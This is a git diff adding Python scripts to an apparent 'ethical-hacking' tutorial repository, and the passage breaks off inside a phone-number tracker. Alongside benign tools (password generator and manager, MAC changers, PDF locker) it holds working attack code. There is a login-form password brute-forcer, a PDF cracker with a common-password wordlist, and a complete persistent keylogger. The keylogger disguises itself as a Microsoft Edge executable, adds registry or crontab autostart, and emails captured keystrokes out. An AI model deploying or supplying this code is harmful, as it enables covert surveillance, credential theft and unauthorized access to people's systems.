a/ethical-hacking/listing-wifi-networks/requirements.txt b/ethical-hacking/listing-wifi-networks/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py b/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py new file mode 100644 index 00000000..5bed2c91 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py @@ -0,0 +1,32 @@ +import subprocess, platform + + +# Get the name of the operating system. +os_name = platform.system() + +# Check if the OS is Windows. +if os_name == "Windows": + # Command to list Wi-Fi networks on Windows using netsh. + list_networks_command = 'netsh wlan show networks' + + # Execute the command and capture the result. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + + # Print the output, all networks in range. + print(output) + +# Check if the OS is Linux. +elif os_name == "Linux": + # Command to list Wi-Fi networks on Linux using nmcli. + list_networks_command = "nmcli device wifi list" + + # Execute the command and capture the output. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + + # Print the output, all networks in range. + print(output) + +# Handle unsupported operating systems. +else: + # Print a message indicating that the OS is unsupported (Not Linux or Windows). + print("Unsupported OS") diff --git a/ethical-hacking/login-password-guesser/README.md b/ethical-hacking/login-password-guesser/README.md new file mode 100644 index 00000000..820e63f6 --- /dev/null +++ b/ethical-hacking/login-password-guesser/README.md @@ -0,0 +1 @@ +# [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python) \ No newline at end of file diff --git a/ethical-hacking/login-password-guesser/login_password_guesser.py b/ethical-hacking/login-password-guesser/login_password_guesser.py new file mode 100644 index 00000000..1934a747 --- /dev/null +++ b/ethical-hacking/login-password-guesser/login_password_guesser.py @@ -0,0 +1,24 @@ +import requests, sys +from colorama import Fore, init + +init() + +def guess_password(target_url, username, wordlist_path, action_type): + parameters = {"username": username, 'password': '', 'Login': action_type} # Create a dictionary 'parameters' with username, empty password, and action_type. + # Open the file containing our wordlist 'rockyou.txt' for reading. + with open(wordlist_path, 'r') as word_list: + # Loop through each word in the wordlist. + for each_word in word_list: + word = each_word.strip() # Remove whitespace from the word. + parameters['password'] = word # Set the password parameter to the current word. + # Send an HTTP POST request to the target_url with the current 'parameters'. + output = requests.post(target_url, data=parameters) + # Check if the response content does not contain "Login failed". + if 'Login failed' not in output.content.decode('utf-8'): + # If the condition is met, print a success message with the found password. + print(f"{Fore.GREEN} [+] Password Found! >>> {word} ") + sys.exit() # Exit the script. + # If no password is found after iterating through the wordlist, print a failure message. + print(f"{Fore.RED} [-] Password not found.") + +guess_password("http://192.168.134.129/dvwa/login.php", 'admin', 'C:\\Users\\muham\\Documents\\wordlists\\rockyou.txt', 'submit') \ No newline at end of file diff --git a/ethical-hacking/login-password-guesser/requirements.txt b/ethical-hacking/login-password-guesser/requirements.txt new file mode 100644 index 00000000..9f404795 --- /dev/null +++ b/ethical-hacking/login-password-guesser/requirements.txt @@ -0,0 +1,2 @@ +colorama +requests \ No newline at end of file diff --git a/ethical-hacking/mac-address-changer/README.md b/ethical-hacking/mac-address-changer/README.md new file mode 100644 index 00000000..b721f6f2 --- /dev/null +++ b/ethical-hacking/mac-address-changer/README.md @@ -0,0 +1 @@ +# [How to Make a MAC Address Changer in Python](https://www.thepythoncode.com/article/make-a-mac-address-changer-in-python) \ No newline at end of file diff --git a/ethical-hacking/mac-address-changer/mac_address_changer_linux.py b/ethical-hacking/mac-address-changer/mac_address_changer_linux.py new file mode 100644 index 00000000..d57486e8 --- /dev/null +++ b/ethical-hacking/mac-address-changer/mac_address_changer_linux.py @@ -0,0 +1,60 @@ +import subprocess +import string +import random +import re + + +def get_random_mac_address(): + """Generate and return a MAC address in the format of Linux""" + # get the hexdigits uppercased + uppercased_hexdigits = ''.join(set(string.hexdigits.upper())) + # 2nd character must be 0, 2, 4, 6, 8, A, C, or E + mac = "" + for i in range(6): + for j in range(2): + if i == 0: + mac += random.choice("02468ACE") + else: + mac += random.choice(uppercased_hexdigits) + mac += ":" + return mac.strip(":") + + +def get_current_mac_address(iface): + # use the ifconfig command to get the interface details, including the MAC address + output = subprocess.check_output(f"ifconfig {iface}", shell=True).decode() + return re.search("ether (.+) ", output).group().split()[1].strip() + + + +def change_mac_address(iface, new_mac_address): + # disable the network interface + subprocess.check_output(f"ifconfig {iface} down", shell=True) + # change the MAC + subprocess.check_output(f"ifconfig {iface} hw ether {new_mac_address}", shell=True) + # enable the network interface again + subprocess.check_output(f"ifconfig {iface} up", shell=True) + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Python Mac Changer on Linux") + parser.add_argument("interface", help="The network interface name on Linux") + parser.add_argument("-r", "--random", action="https://github.com/store_true", help="Whether to generate a random MAC address") + parser.add_argument("-m", "--mac", help="The new MAC you want to change to") + args = parser.parse_args() + iface = args.interface + if args.random: + # if random parameter is set, generate a random MAC + new_mac_address = get_random_mac_address() + elif args.mac: + # if mac is set, use it instead + new_mac_address = args.mac + # get the current MAC address + old_mac_address = get_current_mac_address(iface) + print("[*] Old MAC address:", old_mac_address) + # change the MAC address + change_mac_address(iface, new_mac_address) + # check if it's really changed + new_mac_address = get_current_mac_address(iface) + print("[+] New MAC address:", new_mac_address) \ No newline at end of file diff --git a/ethical-hacking/mac-address-changer/mac_address_changer_windows.py b/ethical-hacking/mac-address-changer/mac_address_changer_windows.py new file mode 100644 index 00000000..276fc0aa --- /dev/null +++ b/ethical-hacking/mac-address-changer/mac_address_changer_windows.py @@ -0,0 +1,114 @@ +import subprocess +import regex as re +import string +import random + +# the registry path of network interfaces +network_interface_reg_path = r"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4d36e972-e325-11ce-bfc1-08002be10318}" +# the transport name regular expression, looks like {AF1B45DB-B5D4-46D0-B4EA-3E18FA49BF5F} +transport_name_regex = re.compile("{.+}") +# the MAC address regular expression +mac_address_regex = re.compile(r"([A-Z0-9]{2}[:-]){5}([A-Z0-9]{2})") + +def get_random_mac_address(): + """Generate and return a MAC address in the format of WINDOWS""" + # get the hexdigits uppercased + uppercased_hexdigits = ''.join(set(string.hexdigits.upper())) + # 2nd character must be 2, 4, A, or E + return random.choice(uppercased_hexdigits) + random.choice("24AE") + "".join(random.sample(uppercased_hexdigits, k=10)) + + +def clean_mac(mac): + """Simple function to clean non hexadecimal characters from a MAC address + mostly used to remove '-' and ':' from MAC addresses and also uppercase it""" + return "".join(c for c in mac if c in string.hexdigits).upper() + + +def get_connected_adapters_mac_address(): + # make a list to collect connected adapter's MAC addresses along with the transport name + connected_adapters_mac = [] + # use the getmac command to extract + for potential_mac in subprocess.check_output("getmac").decode().splitlines(): + # parse the MAC address from the line + mac_address = mac_address_regex.search(potential_mac) + # parse the transport name from the line + transport_name = transport_name_regex.search(potential_mac) + if mac_address and transport_name: + # if a MAC and transport name are found, add them to our list + connected_adapters_mac.append((mac_address.group(), transport_name.group())) + return connected_adapters_mac + + +def get_user_adapter_choice(connected_adapters_mac): + # print the available adapters + for i, option in enumerate(connected_adapters_mac): + print(f"#{i}: {option[0]}, {option[1]}") + if len(connected_adapters_mac) <= 1: + # when there is only one adapter, choose it immediately + return connected_adapters_mac[0] + # prompt the user to choose a network adapter index + try: + choice = int(input("Please choose the interface you want to change the MAC address:")) + # return the target chosen adapter's MAC and transport name that we'll use later to search for our adapter + # using the reg QUERY command + return connected_adapters_mac[choice] + except: + # if -for whatever reason- an error is raised, just quit the script + print("Not a valid choice, quitting...") + exit() + + +def change_mac_address(adapter_transport_name, new_mac_address): + # use reg QUERY command to get available adapters from the registry + output = subprocess.check_output(f"reg QUERY " + network_interface_reg_path.replace("\\\\", "\\")).decode() + for interface in re.findall(rf"{network_interface_reg_path}\\\d+", output): + # get the adapter index + adapter_index = int(interface.split("\\")[-1]) + interface_content = subprocess.check_output(f"reg QUERY {interface.strip()}").decode() + if adapter_transport_name in interface_content: + # if the transport name of the adapter is found on the output of the reg QUERY command + # then this is the adapter we're looking for + # change the MAC address using reg ADD command + changing_mac_output = subprocess.check_output(f"reg add {interface} /v NetworkAddress /d {new_mac_address} /f").decode() + # print the command output + print(changing_mac_output) + # break out of the loop as we're done + break + # return the index of the changed adapter's MAC address + return adapter_index + + +def disable_adapter(adapter_index): + # use wmic command to disable our adapter so the MAC address change is reflected + disable_output = subprocess.check_output(f"wmic path win32_networkadapter where index={adapter_index} call disable").decode() + return disable_output + + +def enable_adapter(adapter_index): + # use wmic command to enable our adapter so the MAC address change is reflected + enable_output = subprocess.check_output(f"wmic path win32_networkadapter where index={adapter_index} call enable").decode() + return enable_output + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Python Windows MAC changer") + parser.add_argument("-r", "--random", action="https://github.com/store_true", help="Whether to generate a random MAC address") + parser.add_argument("-m", "--mac", help="The new MAC you want to change to") + args = parser.parse_args() + if args.random: + # if random parameter is set, generate a random MAC + new_mac_address = get_random_mac_address() + elif args.mac: + # if mac is set, use it after cleaning + new_mac_address = clean_mac(args.mac) + + connected_adapters_mac = get_connected_adapters_mac_address() + old_mac_address, target_transport_name = get_user_adapter_choice(connected_adapters_mac) + print("[*] Old MAC address:", old_mac_address) + adapter_index = change_mac_address(target_transport_name, new_mac_address) + print("[+] Changed to:", new_mac_address) + disable_adapter(adapter_index) + print("[+] Adapter is disabled") + enable_adapter(adapter_index) + print("[+] Adapter is enabled again") \ No newline at end of file diff --git a/ethical-hacking/password-generator/README.md b/ethical-hacking/password-generator/README.md new file mode 100644 index 00000000..5152fc5b --- /dev/null +++ b/ethical-hacking/password-generator/README.md @@ -0,0 +1 @@ +# [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python) \ No newline at end of file diff --git a/ethical-hacking/password-generator/password_generator.py b/ethical-hacking/password-generator/password_generator.py new file mode 100644 index 00000000..b122d4bd --- /dev/null +++ b/ethical-hacking/password-generator/password_generator.py @@ -0,0 +1,72 @@ +from argparse import ArgumentParser +import secrets +import random +import string + +# Setting up the Argument Parser +parser = ArgumentParser( + prog='Password Generator.', + description='Generate any number of passwords with this tool.' +) + +# Adding the arguments to the parser +parser.add_argument("-n", "--numbers", default=0, help="Number of digits in the PW", type=int) +parser.add_argument("-l", "--lowercase", default=0, help="Number of lowercase chars in the PW", type=int) +parser.add_argument("-u", "--uppercase", default=0, help="Number of uppercase chars in the PW", type=int) +parser.add_argument("-s", "--special-chars", default=0, help="Number of special chars in the PW", type=int) + +# add total pw length argument +parser.add_argument("-t", "--total-length", type=int, + help="The total password length. If passed, it will ignore -n, -l, -u and -s, " \ + "and generate completely random passwords with the specified length") + +# The amount is a number so we check it to be of type int. +parser.add_argument("-a", "--amount", default=1, type=int) +parser.add_argument("-o", "--output-file") + +# Parsing the command line arguments. +args = parser.parse_args() + +# list of passwords +passwords = [] +# Looping through the amount of passwords. +for _ in range(args.amount): + if args.total_length: + # generate random password with the length + # of total_length based on all available characters + passwords.append("".join( + [secrets.choice(string.digits + string.ascii_letters + string.punctuation) \ + for _ in range(args.total_length)])) + else: + password = [] + # If / how many numbers the password should contain + for _ in range(args.numbers): + password.append(secrets.choice(string.digits)) + + # If / how many uppercase characters the password should contain + for _ in range(args.uppercase): + password.append(secrets.choice(string.ascii_uppercase)) + + # If / how many lowercase characters the password should contain + for _ in range(args.lowercase): + password.append(secrets.choice(string.ascii_lowercase)) + + # If / how many special characters the password should contain + for _ in range(args.special_chars): + password.append(secrets.choice(string.punctuation)) + + # Shuffle the list with all the possible letters, numbers and symbols. + random.shuffle(password) + + # Get the letters of the string up to the length argument and then join them. + password = ''.join(password) + + # append this password to the overall list of password. + passwords.append(password) + +# Store the password to a .txt file. +if args.output_file: + with open(args.output_file, 'w') as f: + f.write('\n'.join(passwords)) + +print('\n'.join(passwords)) diff --git a/ethical-hacking/password-manager/README.md b/ethical-hacking/password-manager/README.md new file mode 100644 index 00000000..ec1aef1b --- /dev/null +++ b/ethical-hacking/password-manager/README.md @@ -0,0 +1 @@ +# [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python) \ No newline at end of file diff --git a/ethical-hacking/password-manager/password_manager.py b/ethical-hacking/password-manager/password_manager.py new file mode 100644 index 00000000..9b9ec184 --- /dev/null +++ b/ethical-hacking/password-manager/password_manager.py @@ -0,0 +1,204 @@ +import json, hashlib, getpass, os, pyperclip, sys +from cryptography.fernet import Fernet + + +# Function for Hashing the Master Password. +def hash_password(password): + sha256 = hashlib.sha256() + sha256.update(password.encode()) + return sha256.hexdigest() + + +# Generate a secret key. This should be done only once as you'll see. +def generate_key(): + return Fernet.generate_key() + + +# Initialize Fernet cipher with the provided key. +def initialize_cipher(key): + return Fernet(key) + + +# Function to encrypt a password. +def encrypt_password(cipher, password): + return cipher.encrypt(password.encode()).decode() + + +# Function to decrypt a password. +def decrypt_password(cipher, encrypted_password): + return cipher.decrypt(encrypted_password.encode()).decode() + + +# Function to register you. +def register(username, master_password): + # Encrypt the master password before storing it + hashed_master_password = hash_password(master_password) + user_data = {'username': username, 'master_password': hashed_master_password} + file_name = 'user_data.json' + + if os.path.exists(file_name) and os.path.getsize(file_name) == 0: + with open(file_name, 'w') as file: + json.dump(user_data, file) + print("\n[+] Registration complete!!\n") + else: + with open(file_name, 'x') as file: + json.dump(user_data, file) + print("\n[+] Registration complete!!\n") + + +# Function to log you in. +def login(username, entered_password): + try: + with open('user_data.json', 'r') as file: + user_data = json.load(file) + + stored_password_hash = user_data.get('master_password') + entered_password_hash = hash_password(entered_password) + + if entered_password_hash == stored_password_hash and username == user_data.get('username'): + print("\n[+] Login Successful..\n") + else: + print("\n[-] Invalid Login credentials. Please use the credentials you used to register.\n") + sys.exit() + + except Exception: + print("\n[-] You have not registered. Please do that.\n") + sys.exit() + + +# Function to view saved websites. +def view_websites(): + try: + with open('passwords.json', 'r') as data: + view = json.load(data) + print("\nWebsites you saved...\n") + for x in view: + print(x['website']) + print('\n') + except FileNotFoundError: + print("\n[-] You have not saved any passwords!\n") + + +# Load or generate the encryption key. +key_filename = 'encryption_key.key' +if os.path.exists(key_filename): + with open(key_filename, 'rb') as key_file: + key = key_file.read() +else: + key = generate_key() + with open(key_filename, 'wb') as key_file: + key_file.write(key) + +cipher = initialize_cipher(key) + + +# Function to add (save password). +def add_password(website, password): + # Check if passwords.json exists + if not os.path.exists('passwords.json'): + # If passwords.json doesn't exist, initialize it with an empty list + data = [] + else: + # Load existing data from passwords.json + try: + with open('passwords.json', 'r') as file: + data = json.load(file) + except json.JSONDecodeError: + # Handle the case where passwords.json is empty or invalid JSON. + data = [] + + # Encrypt the password + encrypted_password = encrypt_password(cipher, password) + + # Create a dictionary to store the website and password + password_entry = {'website': website, 'password': encrypted_password} + data.append(password_entry) + + # Save the updated list back to passwords.json + with open('passwords.json', 'w') as file: + json.dump(data, file, indent=4) + + +# Function to retrieve a saved password. +def get_password(website): + # Check if passwords.json exists + if not os.path.exists('passwords.json'): + return None + + # Load existing data from passwords.json + try: + with open('passwords.json', 'r') as file: + data = json.load(file) + except json.JSONDecodeError: + data = [] + # Loop through all the websites and check if the requested website exists. + for entry in data: + if entry['website'] == website: + # Decrypt and return the password + decrypted_password = decrypt_password(cipher, entry['password']) + return decrypted_password + + return None + + +# Infinite loop to keep the program running until the user chooses to quit. +while True: + print("1. Register") + print("2. Login") + print("3. Quit") + choice = input("Enter your choice: ") + + if choice == '1': # If a user wants to register + file = 'user_data.json' + if os.path.exists(file) and os.path.getsize(file) != 0: + print("\n[-] Master user already exists!!") + sys.exit() + else: + username = input("Enter your username: ") + master_password = getpass.getpass("Enter your master password: ") + register(username, master_password) + + elif choice == '2': # If a User wants to log in + file = 'user_data.json' + if os.path.exists(file): + username = input("Enter your username: ") + master_password = getpass.getpass("Enter your master password: ") + login(username, master_password) + else: + print("\n[-] You have not registered. Please do that.\n") + sys.exit() + # Various options after a successful Login. + while True: + print("1. Add Password") + print("2. Get Password") + print("3. View Saved websites") + print("4. Quit") + + password_choice = input("Enter your choice: ") + if password_choice == '1': # If a user wants to add a password + website = input("Enter website: ") + password = getpass.getpass("Enter password: ") + + # Encrypt and add the password + add_password(website, password) + print("\n[+] Password added!\n") + + elif password_choice == '2': # If a User wants to retrieve a password + website = input("Enter website: ") + decrypted_password = get_password(website) + if website and decrypted_password: + # Copy password to clipboard for convenience + pyperclip.copy(decrypted_password) + print(f"\n[+] Password for {website}: {decrypted_password}\n[+] Password copied to clipboard.\n") + else: + print("\n[-] Password not found! Did you save the password?" + "\n[-] Use option 3 to see the websites you saved.\n") + + elif password_choice == '3': # If a user wants to view saved websites + view_websites() + + elif password_choice == '4': # If a user wants to quit the password manager + break + + elif choice == '3': # If a user wants to quit the program + break diff --git a/ethical-hacking/password-manager/requirements.txt b/ethical-hacking/password-manager/requirements.txt new file mode 100644 index 00000000..c10ec962 --- /dev/null +++ b/ethical-hacking/password-manager/requirements.txt @@ -0,0 +1,2 @@ +cryptography +pyperclip \ No newline at end of file diff --git a/ethical-hacking/pdf-cracker/README.md b/ethical-hacking/pdf-cracker/README.md new file mode 100644 index 00000000..fec732aa --- /dev/null +++ b/ethical-hacking/pdf-cracker/README.md @@ -0,0 +1,4 @@ +# [How to Crack PDF Files in Python](https://www.thepythoncode.com/article/crack-pdf-file-password-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Use any `wordlist.txt` you want, and run `pdf_cracker.py` \ No newline at end of file diff --git a/ethical-hacking/pdf-cracker/foo-protected.pdf b/ethical-hacking/pdf-cracker/foo-protected.pdf new file mode 100644 index 00000000..c3a672be Binary files /dev/null and b/ethical-hacking/pdf-cracker/foo-protected.pdf differ diff --git a/ethical-hacking/pdf-cracker/foo.pdf b/ethical-hacking/pdf-cracker/foo.pdf new file mode 100644 index 00000000..742e0185 Binary files /dev/null and b/ethical-hacking/pdf-cracker/foo.pdf differ diff --git a/ethical-hacking/pdf-cracker/pdf_cracker.py b/ethical-hacking/pdf-cracker/pdf_cracker.py new file mode 100644 index 00000000..141aea02 --- /dev/null +++ b/ethical-hacking/pdf-cracker/pdf_cracker.py @@ -0,0 +1,17 @@ +import pikepdf +from tqdm import tqdm + +# load password list +passwords = [ line.strip() for line in open("wordlist.txt") ] + +# iterate over passwords +for password in tqdm(passwords, "Decrypting PDF"): + try: + # open PDF file + with pikepdf.open("foo-protected.pdf", password=password) as pdf: + # Password decrypted successfully, break out of the loop + print("[+] Password found:", password) + break + except pikepdf._core.PasswordError as e: + # wrong password, just continue in the loop + continue diff --git a/ethical-hacking/pdf-cracker/requirements.txt b/ethical-hacking/pdf-cracker/requirements.txt new file mode 100644 index 00000000..0eec5a60 --- /dev/null +++ b/ethical-hacking/pdf-cracker/requirements.txt @@ -0,0 +1,2 @@ +pikepdf +tqdm \ No newline at end of file diff --git a/ethical-hacking/pdf-cracker/wordlist.txt b/ethical-hacking/pdf-cracker/wordlist.txt new file mode 100644 index 00000000..554c961b --- /dev/null +++ b/ethical-hacking/pdf-cracker/wordlist.txt @@ -0,0 +1,5000 @@ +123456 +12345 +123456789 +password +iloveyou +princess +12345678 +1234567 +nicole +daniel +monkey +babygirl +qwerty +lovely +654321 +michael +jessica +111111 +ashley +000000 +iloveu +michelle +tigger +sunshine +chocolate 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+123456b +jimmie +westwood +#1bitch +rockandroll +slamdunk +brenda1 +michell +lalaland +hellohello +edith +fiona +gogirl +derick +atlantis +TIGGER +sirenita +love33 +phillips +bollocks +quiksilver +keepout +ihateyou1 +salman +daryl +playboy69 +leavemealone +iloveluke +44444444 +oxford +darkstar +consuelo +camilita +MIGUEL +limpbizkit +privacy +petewentz +sonic +inferno +gusanito +golfer +jayjay1 +princess01 +parrot +ducky +rasmus +inlove1 +kookie +biteme1 +karen1 +fernandes +zipper +smoking +brujita +toledo +abcdef12345 \ No newline at end of file diff --git a/ethical-hacking/pdf-locker/README.md b/ethical-hacking/pdf-locker/README.md new file mode 100644 index 00000000..26db7776 --- /dev/null +++ b/ethical-hacking/pdf-locker/README.md @@ -0,0 +1 @@ +# [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python) \ No newline at end of file diff --git a/ethical-hacking/pdf-locker/pdf_locker.py b/ethical-hacking/pdf-locker/pdf_locker.py new file mode 100644 index 00000000..9f92c704 --- /dev/null +++ b/ethical-hacking/pdf-locker/pdf_locker.py @@ -0,0 +1,39 @@ +# Import the necessary libraries +import PyPDF2, getpass # getpass is for getting password with some level of security +from colorama import Fore, init + +# Initialize colorama for colored output +init() + + +# Function to lock pdf +def lock_pdf(input_file, password): + with open(input_file, 'rb') as file: + # Create a PDF reader object + pdf_reader = PyPDF2.PdfReader(file) + + # Create a PDF writer object + pdf_writer = PyPDF2.PdfWriter() + + # Add all pages to the writer + for page_num in range(len(pdf_reader.pages)): + pdf_writer.add_page(pdf_reader.pages[page_num]) + + # Encrypt the PDF with the provided password + pdf_writer.encrypt(password) + + # Write the encrypted content back to the original file + with open(input_file, 'wb') as output_file: + pdf_writer.write(output_file) + + +# Get user input +input_pdf = input("Enter the path to the PDF file: ") +password = getpass.getpass("Enter the password to lock the PDF: ") + +# Lock the PDF using PyPDF2 +print(f'{Fore.GREEN}[!] Please hold on for a few seconds..') +lock_pdf(input_pdf, password) + +# Let the user know it's done +print(f"{Fore.GREEN}[+] PDF locked successfully.") diff --git a/ethical-hacking/pdf-locker/requirements.txt b/ethical-hacking/pdf-locker/requirements.txt new file mode 100644 index 00000000..d2ff42de --- /dev/null +++ b/ethical-hacking/pdf-locker/requirements.txt @@ -0,0 +1,2 @@ +PyPDF2 +colorama \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/README.md b/ethical-hacking/pdf-metadata-remover/README.md new file mode 100644 index 00000000..2eba5916 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/README.md @@ -0,0 +1 @@ +# [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py new file mode 100644 index 00000000..dd801d59 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py @@ -0,0 +1,33 @@ +import PyPDF2 + +def remove_metadata(pdf_file): + # Open the PDF file. + with open(pdf_file, 'rb') as file: + reader = PyPDF2.PdfReader(file) + + # Check if metadata exists. + if reader.metadata is not None: + print("Metadata found in the PDF file.") + + # Create a new PDF file without metadata. + writer = PyPDF2.PdfWriter() + + # Copy pages from the original PDF to the new PDF. + for page_num in range(len(reader.pages)): + page = reader.pages[page_num] + writer.add_page(page) + + # Open a new file to write the PDF without metadata. + new_pdf_file = f"{pdf_file.split('.')[0]}_no_metadata.pdf" + with open(new_pdf_file, 'wb') as output_file: + writer.write(output_file) + + print(f"PDF file without metadata saved as '{new_pdf_file}'.") + else: + print("No metadata found in the PDF file.") + +# Specify the path to your PDF file. +pdf_file_path = "EEE415PQ.pdf" + +# Call the function to remove metadata. +remove_metadata(pdf_file_path) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/requirements.txt b/ethical-hacking/pdf-metadata-remover/requirements.txt new file mode 100644 index 00000000..77e8be78 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/requirements.txt @@ -0,0 +1 @@ +PyPDF2==3.0.1 \ No newline at end of file diff --git a/ethical-hacking/persistent-malware/README.md b/ethical-hacking/persistent-malware/README.md new file mode 100644 index 00000000..8df17579 --- /dev/null +++ b/ethical-hacking/persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python) \ No newline at end of file diff --git a/ethical-hacking/persistent-malware/keylogger_persistent.py b/ethical-hacking/persistent-malware/keylogger_persistent.py new file mode 100644 index 00000000..1ec8c2f4 --- /dev/null +++ b/ethical-hacking/persistent-malware/keylogger_persistent.py @@ -0,0 +1,137 @@ +import keyboard # for keylogs +import smtplib # for sending email using SMTP protocol (gmail) +from threading import Timer +from datetime import datetime +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +import os, shutil, subprocess, platform, sys +from sys import executable + +SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on +EMAIL_ADDRESS = "email@provider.tld" +EMAIL_PASSWORD = "password_here" + +def setup_persistence(): + """This function sets up persistence (runs automatically at startup) of this executable. + On Linux, it uses crontab to create a cron job that runs this script at reboot. + On Windows, it uses the Windows Registry to add a key that runs this script at startup. + Note that this will only work if the script is bundled as an executable using PyInstaller on Windows. + On Linux, it will work with the script itself or the executable.""" + os_type = platform.system() + if os_type == "Windows": + location = os.environ['appdata'] + "\\MicrosoftEdgeLauncher.exe" # Disguise the keylogger as Microsoft Edge + if not os.path.exists(location): + shutil.copyfile(executable, location) + subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ', shell=True) + elif os_type == "Linux": + location = os.path.expanduser('~') + "/.config/KaliStartup" + if not os.path.exists(location): + # Create the autostart directory if it doesn't exist + os.makedirs(location) + filename = os.path.join(location, "KaliStartup") + # Copy the keylogger to that new location + shutil.copyfile(sys.executable, filename) + # Add the keylogger to startup via crontab + crontab_line = f"@reboot {filename}" + os.system(f'(crontab -l; echo "{crontab_line}") | crontab -') + +# Run the setup_persistence function +setup_persistence() + +class Keylogger: + def __init__(self, interval, report_method="email"): + """Initialize the keylogger with the specified interval for sending reports and the method of reporting.""" + self.interval = interval + self.report_method = report_method + self.log = "" + self.start_dt = datetime.now() + self.end_dt = datetime.now() + + def callback(self, event): + """Handle a keyboard event by logging the keystroke.""" + name = event.name + if len(name) > 1: + if name == "space": + name = " " + elif name == "enter": + name = "[ENTER]\n" + elif name == "decimal": + name = "." + else: + name = name.replace(" ", "_") + name = f"[{name.upper()}]" + self.log += name + + def update_filename(self): + """Update the filename for the log file based on the current date and time.""" + start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") + end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") + self.filename = f"keylog-{start_dt_str}_{end_dt_str}" + + def report_to_file(self): + """This method creates a log file in the specified directory that contains + the current keylogs in the `self.log` variable""" + os_type = platform.system() + if os_type == "Windows": + log_dir = os.path.join(os.environ['USERPROFILE'], 'Documents', 'KeyloggerLogs') + elif os_type == "Linux": + log_dir = os.path.join(os.path.expanduser("~"), 'Documents', 'KeyloggerLogs') + # create a directory for the logs + if not os.path.exists(log_dir): + os.makedirs(log_dir) + log_file = os.path.join(log_dir, f"{self.filename}.txt") + # write the logs to a file + with open(log_file, "w") as f: + print(self.log, file=f) + print(f"[+] Saved {log_file}") + + def prepare_mail(self, message): + """Prepare an email message with both text and HTML versions.""" + msg = MIMEMultipart("alternative") + msg["From"] = EMAIL_ADDRESS + msg["To"] = EMAIL_ADDRESS + msg["Subject"] = "Keylogger logs" + html = f"

{message}

" + text_part = MIMEText(message, "plain") + html_part = MIMEText(html, "html") + msg.attach(text_part) + msg.attach(html_part) + return msg.as_string() + + def sendmail(self, email, password, message, verbose=1): + """Send an email using SMTP with the logged keystrokes.""" + server = smtplib.SMTP(host="smtp.office365.com", port=587) + server.starttls() + server.login(email, password) + server.sendmail(email, email, self.prepare_mail(message)) + server.quit() + if verbose: + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") + + def report(self): + """Report the captured keystrokes either by email or by saving to a file.""" + if self.log: + self.end_dt = datetime.now() + self.update_filename() + if self.report_method == "email": + self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) + elif self.report_method == "file": + self.report_to_file() + self.start_dt = datetime.now() + self.log = "" + timer = Timer(interval=self.interval, function=self.report) + timer.daemon = True + timer.start() + + def start(self): + """Start the keylogger.""" + self.start_dt = datetime.now() + keyboard.on_release(callback=self.callback) + self.report() + print(f"{datetime.now()} - Started keylogger") + keyboard.wait() + + +if __name__ == "__main__": + keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") + keylogger.start() diff --git a/ethical-hacking/persistent-malware/requirements.txt b/ethical-hacking/persistent-malware/requirements.txt new file mode 100644 index 00000000..c2539834 --- /dev/null +++ b/ethical-hacking/persistent-malware/requirements.txt @@ -0,0 +1 @@ +keyboard diff --git a/ethical-hacking/phone-number-tracker/README.md b/ethical-hacking/phone-number-tracker/README.md new file mode 100644 index 00000000..7a5b80e2 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/README.md @@ -0,0 +1 @@ +# [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python) \ No newline at end of file diff --git a/ethical-hacking/phone-number-tracker/phone_number_tracker.py b/ethical-hacking/phone-number-tracker/phone_number_tracker.py new file mode 100644 index 00000000..acd1b6e3 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/phone_number_tracker.py @@ -0,0 +1,149 @@ +import phonenumbers, sys, folium, os, argparse +from colorama import init, Fore +from phonenumbers import geocoder, timezone, carrier +init() + + +def process_number(number): + try: + global location + + # Parse the phone number. See this as extracting relevant information from the Phone number. + parsed_number = phonenumbers.parse(number) + + '''Display a message indicating the tracking attempt. We'll also format the parsed number to the + international format.''' + + print(f"{Fore.GREEN}[+] Attempting to track location of " + f"{phonenumbers.format_number(parsed_number, phonenumbers.PhoneNumberFormat.INTERNATIONAL)}..") + + # Get and display the time zone ID + print(f"{Fore.GREEN}[+] Time Zone ID: {timezone.time_zones_for_number(parsed_number)}") + + # Get the geographic location of the Phone number and display it. + location = geocoder.description_for_number(parsed_number, "en") + if location: + 